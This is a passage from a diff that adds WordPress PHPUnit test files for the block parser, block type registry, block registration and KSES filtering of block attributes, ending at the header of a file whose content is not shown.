+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="855ae98911" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+		// _wpnonce value should be replaced with 'xxx'
+		$expected = <<<EOF
+<h2>Assign Authors</h2>
+<p>To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries.</p>
+<p>If a new user is created by WordPress, the password will be set, by default, to "changeme". Quite suggestive, eh? ;)</p>
+        <ol id="authors"><form action="?import=wordpress&amp;step=2&amp;id=" method="post"><input type="hidden" name="_wpnonce" value="***" /><input type="hidden" name="_wp_http_referer" value="wp-test.php" /><li>Current author: <strong>Alex Shiels</strong><br />Create user  <input type="text" value="Alex Shiels" name="user[]" maxlength="30"> <br /> or map to existing<select name="userselect[0]">
+EOF;
+		$this->assertEquals($expected, mask_input_value($in));
+	}
+
+	/**
+	 * @ticket 17884
+	 */
+	function test_setting_nonexistent_arrays() {
+		$page = 1;
+		$field = 'settings';
+
+		$empty_array[$page][$field] = 'foo';
+
+		// Assertion not strictly needed; we mainly want to show that a notice is not thrown.
+		unset( $empty_array[$page]['bar']['baz'] );
+		$this->assertFalse( isset( $empty_array[ $page ]['bar']['baz'] ) );
+	}
+
+	function test_magic_getter() {
+		$basic = new Basic_Object();
+
+		$this->assertEquals( 'bar', $basic->foo );
+	}
+
+	function test_subclass_magic_getter() {
+		$basic = new Basic_Subclass();
+
+		$this->assertEquals( 'bar', $basic->foo );
+	}
+
+	function test_call_method() {
+		$basic = new Basic_Object();
+
+		$this->assertEquals( 'maybe', $basic->callMe() );
+	}
+
+	function test_subclass_call_method() {
+		$basic = new Basic_Subclass();
+
+		$this->assertEquals( 'maybe', $basic->callMe() );
+	}
+
+	function test_subclass_isset() {
+		$basic = new Basic_Subclass();
+
+		$this->assertTrue( isset( $basic->foo ) );
+	}
+
+	function test_subclass_unset() {
+		$basic = new Basic_Subclass();
+
+		unset( $basic->foo );
+
+		$this->assertFalse( isset( $basic->foo ) );
+	}
+
+	function test_switch_order() {
+		$return = $this->_switch_order_helper( 1 );
+		$this->assertEquals( 'match', $return );
+	}
+
+	function _switch_order_helper( $var ) {
+		$return = 'no match';
+		switch ( $var ) {
+		default:
+			break;
+		case 1:
+			$return = 'match';
+			break;
+		}
+
+		return $return;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/block-parser.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/block-parser.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/block-parser.php	(revision 56912)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * WP_Block_Parser tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for WP_Block_Parser
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Parser extends WP_UnitTestCase {
+	/**
+	 * The location of the fixtures to test with.
+	 *
+	 * @since 5.0.0
+	 * @var string
+	 */
+	protected static $fixtures_dir;
+
+	/**
+	 * @ticket 45109
+	 */
+	public function data_parsing_test_filenames() {
+		self::$fixtures_dir = DIR_TESTDATA . '/blocks/fixtures';
+
+		$fixture_filenames = array_merge(
+			glob( self::$fixtures_dir . '/*.json' ),
+			glob( self::$fixtures_dir . '/*.html' )
+		);
+
+		$fixture_filenames = array_values(
+			array_unique(
+				array_map(
+					array( $this, 'clean_fixture_filename' ),
+					$fixture_filenames
+				)
+			)
+		);
+
+		return array_map(
+			array( $this, 'pass_parser_fixture_filenames' ),
+			$fixture_filenames
+		);
+	}
+
+	/**
+	 * @dataProvider data_parsing_test_filenames
+	 * @ticket 45109
+	 */
+	public function test_default_parser_output( $html_filename, $parsed_json_filename ) {
+		$html_path        = self::$fixtures_dir . '/' . $html_filename;
+		$parsed_json_path = self::$fixtures_dir . '/' . $parsed_json_filename;
+
+		foreach ( array( $html_path, $parsed_json_path ) as $filename ) {
+			if ( ! file_exists( $filename ) ) {
+				throw new Exception( "Missing fixture file: '$filename'" );
+			}
+		}
+
+		$html            = self::strip_r( file_get_contents( $html_path ) );
+		$expected_parsed = json_decode( self::strip_r( file_get_contents( $parsed_json_path ) ), true );
+
+		$parser = new WP_Block_Parser();
+		$result = json_decode( json_encode( $parser->parse( $html ) ), true );
+
+		$this->assertEquals(
+			$expected_parsed,
+			$result,
+			"File '$parsed_json_filename' does not match expected value"
+		);
+	}
+
+	/**
+	 * Helper function to remove relative paths and extension from a filename, leaving just the fixture name.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $filename The filename to clean.
+	 * @return string The cleaned fixture name.
+	 */
+	protected function clean_fixture_filename( $filename ) {
+		$filename = basename( $filename );
+		$filename = preg_replace( '/\..+$/', '', $filename );
+		return $filename;
+	}
+
+	/**
+	 * Helper function to return the filenames needed to test the parser output.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $filename The cleaned fixture name.
+	 * @return array The input and expected output filenames for that fixture.
+	 */
+	protected function pass_parser_fixture_filenames( $filename ) {
+		return array(
+			"$filename.html",
+			"$filename.parsed.json",
+		);
+	}
+
+	/**
+	 * Helper function to remove '\r' characters from a string.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param string $input The string to remove '\r' from.
+	 * @return string The input string, with '\r' characters removed.
+	 */
+	protected function strip_r( $input ) {
+		return str_replace( "\r", '', $input );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/block-type-registry.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/block-type-registry.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/block-type-registry.php	(revision 56912)
@@ -0,0 +1,191 @@
+<?php
+/**
+ * WP_Block_Type_Registry Tests
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for WP_Block_Type_Registry
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Type_Registry extends WP_UnitTestCase {
+
+	/**
+	 * Fake block type registry.
+	 *
+	 * @since 5.0.0
+	 * @var WP_Block_Type_Registry
+	 */
+	private $registry = null;
+
+	/**
+	 * Set up each test method.
+	 *
+	 * @since 5.0.0
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		$this->registry = new WP_Block_Type_Registry();
+	}
+
+	/**
+	 * Tear down each test method.
+	 *
+	 * @since 5.0.0
+	 */
+	public function tearDown() {
+		parent::tearDown();
+
+		$this->registry = null;
+	}
+
+	/**
+	 * Should reject numbers
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::register
+	 */
+	public function test_invalid_non_string_names() {
+		$result = $this->registry->register( 1, array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should reject blocks without a namespace
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::register
+	 */
+	public function test_invalid_names_without_namespace() {
+		$result = $this->registry->register( 'paragraph', array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should reject blocks with invalid characters
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::register
+	 */
+	public function test_invalid_characters() {
+		$result = $this->registry->register( 'still/_doing_it_wrong', array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should reject blocks with uppercase characters
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::register
+	 */
+	public function test_uppercase_characters() {
+		$result = $this->registry->register( 'Core/Paragraph', array() );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should accept valid block names
+	 *
+	 * @ticket 45097
+	 */
+	public function test_register_block_type() {
+		$name     = 'core/paragraph';
+		$settings = array(
+			'icon' => 'editor-paragraph',
+		);
+
+		$block_type = $this->registry->register( $name, $settings );
+		$this->assertEquals( $name, $block_type->name );
+		$this->assertEquals( $settings['icon'], $block_type->icon );
+		$this->assertEquals( $block_type, $this->registry->get_registered( $name ) );
+	}
+
+	/**
+	 * Should fail to re-register the same block
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::register
+	 */
+	public function test_register_block_type_twice() {
+		$name     = 'core/paragraph';
+		$settings = array(
+			'icon' => 'editor-paragraph',
+		);
+
+		$result = $this->registry->register( $name, $settings );
+		$this->assertNotFalse( $result );
+		$result = $this->registry->register( $name, $settings );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should accept a WP_Block_Type instance
+	 *
+	 * @ticket 45097
+	 */
+	public function test_register_block_type_instance() {
+		$block_type = new WP_Fake_Block_Type( 'core/fake' );
+
+		$result = $this->registry->register( $block_type );
+		$this->assertSame( $block_type, $result );
+	}
+
+	/**
+	 * Unregistering should fail if a block is not registered
+	 *
+	 * @ticket 45097
+	 *
+	 * @expectedIncorrectUsage WP_Block_Type_Registry::unregister
+	 */
+	public function test_unregister_not_registered_block() {
+		$result = $this->registry->unregister( 'core/unregistered' );
+		$this->assertFalse( $result );
+	}
+
+	/**
+	 * Should unregister existing blocks
+	 *
+	 * @ticket 45097
+	 */
+	public function test_unregister_block_type() {
+		$name     = 'core/paragraph';
+		$settings = array(
+			'icon' => 'editor-paragraph',
+		);
+
+		$this->registry->register( $name, $settings );
+		$block_type = $this->registry->unregister( $name );
+		$this->assertEquals( $name, $block_type->name );
+		$this->assertEquals( $settings['icon'], $block_type->icon );
+		$this->assertFalse( $this->registry->is_registered( $name ) );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_get_all_registered() {
+		$names    = array( 'core/paragraph', 'core/image', 'core/blockquote' );
+		$settings = array(
+			'icon' => 'random',
+		);
+
+		foreach ( $names as $name ) {
+			$this->registry->register( $name, $settings );
+		}
+
+		$registered = $this->registry->get_all_registered();
+		$this->assertEqualSets( $names, array_keys( $registered ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/block-type.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/block-type.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/block-type.php	(revision 56912)
@@ -0,0 +1,394 @@
+<?php
+/**
+ * WP_Block_Type Tests
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for WP_Block_Type
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Type extends WP_UnitTestCase {
+
+	/**
+	 * Editor user ID.
+	 *
+	 * @since 5.0.0
+	 * @var int
+	 */
+	protected static $editor_user_id;
+
+	/**
+	 * ID for a post containing blocks.
+	 *
+	 * @since 5.0.0
+	 * @var int
+	 */
+	protected static $post_with_blocks;
+
+	/**
+	 * ID for a post without blocks.
+	 *
+	 * @since 5.0.0
+	 * @var int
+	 */
+	protected static $post_without_blocks;
+
+	/**
+	 * Set up before class.
+	 *
+	 * @since 5.0.0
+	 */
+	public static function wpSetUpBeforeClass() {
+		self::$editor_user_id = self::factory()->user->create(
+			array(
+				'role' => 'editor',
+			)
+		);
+
+		self::$post_with_blocks = self::factory()->post->create(
+			array(
+				'post_title'   => 'Example',
+				'post_content' => "<!-- wp:core/text {\"dropCap\":true} -->\n<p class=\"has-drop-cap\">Tester</p>\n<!-- /wp:core/text -->",
+			)
+		);
+
+		self::$post_without_blocks = self::factory()->post->create(
+			array(
+				'post_title'   => 'Example',
+				'post_content' => 'Tester',
+			)
+		);
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_set_props() {
+		$name = 'core/fake';
+		$args = array(
+			'render_callback' => array( $this, 'render_fake_block' ),
+			'foo'             => 'bar',
+		);
+
+		$block_type = new WP_Block_Type( $name, $args );
+
+		$this->assertSame( $name, $block_type->name );
+		$this->assertSame( $args['render_callback'], $block_type->render_callback );
+		$this->assertSame( $args['foo'], $block_type->foo );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_render() {
+		$attributes = array(
+			'foo' => 'bar',
+			'bar' => 'foo',
+		);
+
+		$block_type = new WP_Block_Type(
+			'core/fake',
+			array(
+				'render_callback' => array( $this, 'render_fake_block' ),
+			)
+		);
+		$output     = $block_type->render( $attributes );
+		$this->assertEquals( $attributes, json_decode( $output, true ) );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_render_with_content() {
+		$attributes = array(
+			'foo' => 'bar',
+			'bar' => 'foo',
+		);
+
+		$content = 'baz';
+
+		$expected = array_merge( $attributes, array( '_content' => $content ) );
+
+		$block_type = new WP_Block_Type(
+			'core/fake',
+			array(
+				'render_callback' => array( $this, 'render_fake_block_with_content' ),
+			)
+		);
+		$output     = $block_type->render( $attributes, $content );
+		$this->assertEquals( $expected, json_decode( $output, true ) );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_render_for_static_block() {
+		$block_type = new WP_Block_Type( 'core/fake', array() );
+		$output     = $block_type->render();
+
+		$this->assertEquals( '', $output );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_is_dynamic_for_static_block() {
+		$block_type = new WP_Block_Type( 'core/fake', array() );
+
+		$this->assertFalse( $block_type->is_dynamic() );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_is_dynamic_for_dynamic_block() {
+		$block_type = new WP_Block_Type(
+			'core/fake',
+			array(
+				'render_callback' => array( $this, 'render_fake_block' ),
+			)
+		);
+
+		$this->assertTrue( $block_type->is_dynamic() );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_prepare_attributes() {
+		$attributes = array(
+			'correct'            => 'include',
+			'wrongType'          => 5,
+			'wrongTypeDefaulted' => 5,
+			/* missingDefaulted */
+			'undefined'          => 'include',
+			'intendedNull'       => null,
+		);
+
+		$block_type = new WP_Block_Type(
+			'core/fake',
+			array(
+				'attributes' => array(
+					'correct'            => array(
+						'type' => 'string',
+					),
+					'wrongType'          => array(
+						'type' => 'string',
+					),
+					'wrongTypeDefaulted' => array(
+						'type'    => 'string',
+						'default' => 'defaulted',
+					),
+					'missingDefaulted'   => array(
+						'type'    => 'string',
+						'default' => 'define',
+					),
+					'intendedNull'       => array(
+						'type'    => array( 'string', 'null' ),
+						'default' => 'wrong',
+					),
+				),
+			)
+		);
+
+		$prepared_attributes = $block_type->prepare_attributes_for_render( $attributes );
+
+		$this->assertEquals(
+			array(
+				'correct'            => 'include',
+				/* wrongType */
+				'wrongTypeDefaulted' => 'defaulted',
+				'missingDefaulted'   => 'define',
+				'undefined'          => 'include',
+				'intendedNull'       => null,
+			),
+			$prepared_attributes
+		);
+	}
+
+	/**
+	 * @ticket 45145
+	 */
+	function test_prepare_attributes_none_defined() {
+		$attributes = array( 'exists' => 'keep' );
+
+		$block_type = new WP_Block_Type( 'core/dummy', array() );
+
+		$prepared_attributes = $block_type->prepare_attributes_for_render( $attributes );
+
+		$this->assertEquals( $attributes, $prepared_attributes );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_has_block_with_mixed_content() {
+		$mixed_post_content = 'before' .
+		'<!-- wp:core/fake --><!-- /wp:core/fake -->' .
+		'<!-- wp:core/fake_atts {"value":"b1"} --><!-- /wp:core/fake_atts -->' .
+		'<!-- wp:core/fake-child -->
+		<p>testing the test</p>
+		<!-- /wp:core/fake-child -->' .
+		'between' .
+		'<!-- wp:core/self-close-fake /-->' .
+		'<!-- wp:custom/fake {"value":"b2"} /-->' .
+		'after';
+
+		$this->assertTrue( has_block( 'core/fake', $mixed_post_content ) );
+
+		$this->assertTrue( has_block( 'core/fake_atts', $mixed_post_content ) );
+
+		$this->assertTrue( has_block( 'core/fake-child', $mixed_post_content ) );
+
+		$this->assertTrue( has_block( 'core/self-close-fake', $mixed_post_content ) );
+
+		$this->assertTrue( has_block( 'custom/fake', $mixed_post_content ) );
+
+		// checking for a partial block name should fail.
+		$this->assertFalse( has_block( 'core/fak', $mixed_post_content ) );
+
+		// checking for a wrong namespace should fail.
+		$this->assertFalse( has_block( 'custom/fake_atts', $mixed_post_content ) );
+
+		// checking for namespace only should not work. Or maybe ... ?
+		$this->assertFalse( has_block( 'core', $mixed_post_content ) );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_has_block_with_invalid_content() {
+		// some content with invalid HMTL comments and a single valid block.
+		$invalid_content = 'before' .
+		'<!- - wp:core/weird-space --><!-- /wp:core/weird-space -->' .
+		'<!--wp:core/untrimmed-left --><!-- /wp:core/untrimmed -->' .
+		'<!-- wp:core/fake --><!-- /wp:core/fake -->' .
+		'<!-- wp:core/untrimmed-right--><!-- /wp:core/untrimmed2 -->' .
+		'after';
+
+		$this->assertFalse( has_block( 'core/text', self::$post_without_blocks ) );
+
+		$this->assertFalse( has_block( 'core/weird-space', $invalid_content ) );
+
+		$this->assertFalse( has_block( 'core/untrimmed-left', $invalid_content ) );
+
+		$this->assertFalse( has_block( 'core/untrimmed-right', $invalid_content ) );
+
+		$this->assertTrue( has_block( 'core/fake', $invalid_content ) );
+	}
+
+	/**
+	 * @ticket 45097
+	 */
+	public function test_post_has_block() {
+		// should fail for a non-existent block `custom/fake`.
+		$this->assertFalse( has_block( 'custom/fake', self::$post_with_blocks ) );
+
+		// this functions should not work without the second param until the $post global is set.
+		$this->assertFalse( has_block( 'core/text' ) );
+		$this->assertFalse( has_block( 'core/fake' ) );
+
+		global $post;
+		$post = get_post( self::$post_with_blocks );
+
+		// check if the function correctly detects content from the $post global.
+		$this->assertTrue( has_block( 'core/text' ) );
+		// even if it detects a proper $post global it should still be false for a missing block.
+		$this->assertFalse( has_block( 'core/fake' ) );
+	}
+
+	public function test_post_has_block_serialized_name() {
+		$content = '<!-- wp:serialized /--><!-- wp:core/normalized /--><!-- wp:plugin/third-party /-->';
+
+		$this->assertTrue( has_block( 'core/serialized', $content ) );
+
+		/*
+		 * Technically, `has_block` should receive a "full" (normalized, parsed)
+		 * block name. But this test conforms to expected pre-5.3.1 behavior.
+		 */
+		$this->assertTrue( has_block( 'serialized', $content ) );
+		$this->assertTrue( has_block( 'core/normalized', $content ) );
+		$this->assertTrue( has_block( 'normalized', $content ) );
+		$this->assertFalse( has_block( 'plugin/normalized', $content ) );
+		$this->assertFalse( has_block( 'plugin/serialized', $content ) );
+		$this->assertFalse( has_block( 'third-party', $content ) );
+		$this->assertFalse( has_block( 'core/third-party', $content ) );
+	}
+
+	/**
+	 * Renders a test block without content.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array $attributes Block attributes. Default empty array.
+	 * @return string JSON encoded list of attributes.
+	 */
+	public function render_fake_block( $attributes ) {
+		return json_encode( $attributes );
+	}
+
+	/**
+	 * Renders a test block with content.
+	 *
+	 * @since 5.0.0
+	 *
+	 * @param array  $attributes Block attributes. Default empty array.
+	 * @param string $content    Block content. Default empty string.
+	 * @return string JSON encoded list of attributes.
+	 */
+	public function render_fake_block_with_content( $attributes, $content ) {
+		$attributes['_content'] = $content;
+
+		return json_encode( $attributes );
+	}
+
+	/**
+	 * Testing the block version.
+	 *
+	 * @ticket 43887
+	 *
+	 * @dataProvider data_block_version
+	 *
+	 * @param string|null $content  Content.
+	 * @param int         $expected Expected block version.
+	 */
+	public function test_block_version( $content, $expected ) {
+		$this->assertSame( $expected, block_version( $content ) );
+	}
+
+	/**
+	 * Test cases for test_block_version().
+	 *
+	 * @since 5.0.0
+	 *
+	 * @return array {
+	 *     @type array {
+	 *         @type string|null Content.
+	 *         @type int         Expected block version.
+	 *     }
+	 * }
+	 */
+	public function data_block_version() {
+		return array(
+			// Null.
+			array( null, 0 ),
+			// Empty post content.
+			array( '', 0 ),
+			// Post content without blocks.
+			array( '<hr class="wp-block-separator" />', 0 ),
+			// Post content with a block.
+			array( '<!-- wp:core/separator -->', 1 ),
+			// Post content with a fake block.
+			array( '<!-- wp:core/fake --><!-- /wp:core/fake -->', 1 ),
+			// Post content with an invalid block.
+			array( '<!- - wp:core/separator -->', 0 ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/filter.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/filter.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/filter.php	(revision 56912)
@@ -0,0 +1,97 @@
+<?php
+/**
+ * Block filtering tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.3.1
+ */
+
+/**
+ * Tests for block filtering functions
+ *
+ * @since 5.3.1
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Filter extends WP_UnitTestCase {
+
+	/**
+	 * An allowable tag name for all users, regardless of capability.
+	 *
+	 * @var string
+	 */
+	protected static $allowed_tag = 'b';
+
+	/**
+	 * @dataProvider data_filter_block_content
+	 */
+	function test_filter_block_content( $content, $expected_filtered ) {
+		// Always filter on direct call to `filter_block_content`, `wp_kses`.
+		$this->assertEquals( $expected_filtered, filter_block_content( $content ) );
+		$this->assertEquals( $expected_filtered, wp_kses( $content, array( self::$allowed_tag => array() ) ) );
+
+		// With `unfiltered_html` (no KSES filtering), original content of saved post should remain intact.
+		kses_remove_filters();
+		$post = self::factory()->post->create_and_get( wp_slash( array( 'post_content' => $content ) ) );
+		$this->assertEquals( $content, $post->post_content );
+
+		// Without `unfiltered_html` (KSES filtering), expect saved post content to match expected filtered.
+		kses_init_filters();
+		$post = self::factory()->post->create_and_get( wp_slash( array( 'post_content' => $content ) ) );
+		$this->assertEquals( $expected_filtered, $post->post_content );
+	}
+
+	function data_filter_block_content() {
+		return array(
+			// Non-block content.
+			array(
+				'<b>Original content</b>',
+				'<b>Original content</b>',
+			),
+
+			// Block content with no block attributes.
+			array(
+				'<!-- wp:example /-->',
+				'<!-- wp:example /-->',
+			),
+
+			// Block with attributes including filterable HTML.
+			array(
+				'<!-- wp:example {"key":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"} /-->',
+				'<!-- wp:example {"key":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"} /-->',
+			),
+
+			// Inner blocks using attributes including filterable HTML.
+			array(
+				'<!-- wp:outer --><!-- wp:inner {"key":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"} /--><!-- /wp:outer -->',
+				'<!-- wp:outer --><!-- wp:inner {"key":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"} /--><!-- /wp:outer -->',
+			),
+
+			// Block with safe attributes.
+			array(
+				'<!-- wp:example {"object":{"object":{"ok":true},"array":[{"ok":true},[],"ok",10,true,false,null],"string":"ok","number":10,"true":true,"false":false,"null":null},"array":[{"ok":true},[],"ok",10,true,false,null],"string":"ok","number":10,"true":true,"false":false,"null":null} /-->',
+				'<!-- wp:example {"object":{"object":{"ok":true},"array":[{"ok":true},[],"ok",10,true,false,null],"string":"ok","number":10,"true":true,"false":false,"null":null},"array":[{"ok":true},[],"ok",10,true,false,null],"string":"ok","number":10,"true":true,"false":false,"null":null} /-->',
+			),
+
+			// Block with unsafe nested object attributes.
+			array(
+				'<!-- wp:example {"object":{"one":{"unsafe":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"},"two":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"}} /-->',
+				'<!-- wp:example {"object":{"one":{"unsafe":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"},"two":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"}} /-->',
+			),
+
+			// Block with unsafe nested array attributes.
+			array(
+				'<!-- wp:example {"array":[{"one":{"unsafe":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"},"two":"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"},["\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"],"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e"]} /-->',
+				'<!-- wp:example {"array":[{"one":{"unsafe":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"},"two":"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"},["\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"],"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e"]} /-->',
+			),
+
+			// Block with unsafe object keys.
+			array(
+				'<!-- wp:example {"object":{"\\u003cmarquee\\u003e\\u003c/marquee\\u003e\\u003c' . self::$allowed_tag . '\\u003e\\u003c/' . self::$allowed_tag . '\\u003e":"value"}} /-->',
+				'<!-- wp:example {"object":{"\\u003c' . self::$allowed_tag . '\\u003e\\u003c\\/' . self::$allowed_tag . '\\u003e":"value"}} /-->',
+			),
+		);
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/register.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/register.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/register.php	(revision 56912)
@@ -0,0 +1,141 @@
+<?php
+/**
+ * Block registry tests.
+ *
+ * @package WordPress
+ * @subpackage Blocks
+ * @since 5.0.0
+ */
+
+/**
+ * Tests for register_block_type(), unregister_block_type(), get_dynamic_block_names()
+ *
+ * @since 5.0.0
+ *
+ * @group blocks
+ */
+class WP_Test_Block_Register extends WP_UnitTestCase {
+
+	/**
+	 * ID for a test post.
+	 *
+	 * @since 5.0.0
+	 * @var int
+	 */
+	protected static $post_id;
+
+	/**
+	 * Set up before class.
+	 *
+	 * @since 5.0.0
+	 */
+	public static function wpSetUpBeforeClass( $factory ) {
+		self::$post_id = $factory->post->create(
+			array(
+				'post_content' => file_get_contents( DIR_TESTDATA . '/blocks/do-blocks-original.html' ),
+			)
+		);
+	}
+
+	/**
+	 * Tear down after class.
+	 *
+	 * @since 5.0.0
+	 */
+	public static function wpTearDownAfterClass() {
+		// Also deletes revisions.
+		wp_delete_post( self::$post_id, true );
+	}
+
+	/**
+	 * Empty render function for tests to use.
+	 */
+	function render_stub() {}
+
+	/**
+	 * Tear down after each test.
+	 *
+	 * @since 5.0.0
+	 */
+	function tearDown() {
+		parent::tearDown();
+
+		$registry = WP_Block_Type_Registry::get_instance();
+
+		foreach ( array( 'test-static', 'test-dynamic' ) as $block_name ) {
+			$block_name = 'core/' . $block_name;
+
+			if ( $registry->is_registered( $block_name ) ) {
+				$registry->unregister( $block_name );
+			}
+		}
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	function test_register_affects_main_registry() {
+		$name     = 'core/test-static';
+		$settings = array(
+			'icon' => 'text',
+		);
+
+		register_block_type( $name, $settings );
+
+		$registry = WP_Block_Type_Registry::get_instance();
+		$this->assertTrue( $registry->is_registered( $name ) );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	function test_unregister_affects_main_registry() {
+		$name     = 'core/test-static';
+		$settings = array(
+			'icon' => 'text',
+		);
+
+		register_block_type( $name, $settings );
+		unregister_block_type( $name );
+
+		$registry = WP_Block_Type_Registry::get_instance();
+		$this->assertFalse( $registry->is_registered( $name ) );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	function test_get_dynamic_block_names() {
+		register_block_type( 'core/test-static', array() );
+		register_block_type( 'core/test-dynamic', array( 'render_callback' => array( $this, 'render_stub' ) ) );
+
+		$dynamic_block_names = get_dynamic_block_names();
+
+		$this->assertContains( 'core/test-dynamic', $dynamic_block_names );
+		$this->assertNotContains( 'core/test-static', $dynamic_block_names );
+	}
+
+	/**
+	 * @ticket 45109
+	 */
+	function test_has_blocks() {
+		// Test with passing post ID.
+		$this->assertTrue( has_blocks( self::$post_id ) );
+
+		// Test with passing WP_Post object.
+		$this->assertTrue( has_blocks( get_post( self::$post_id ) ) );
+
+		// Test with passing content string.
+		$this->assertTrue( has_blocks( get_post( self::$post_id ) ) );
+
+		// Test default.
+		$this->assertFalse( has_blocks() );
+		$query = new WP_Query( array( 'post__in' => array( self::$post_id ) ) );
+		$query->the_post();
+		$this->assertTrue( has_blocks() );
+
+		// Test string (without blocks).
+		$content = file_get_contents( DIR_TESTDATA . '/blocks/do-blocks-expected.html' );
+		$this->assertFalse( has_blocks( $content ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/blocks/render-reusable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/blocks/render-reusable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/blocks/render-reusable.php	(revision 56912)
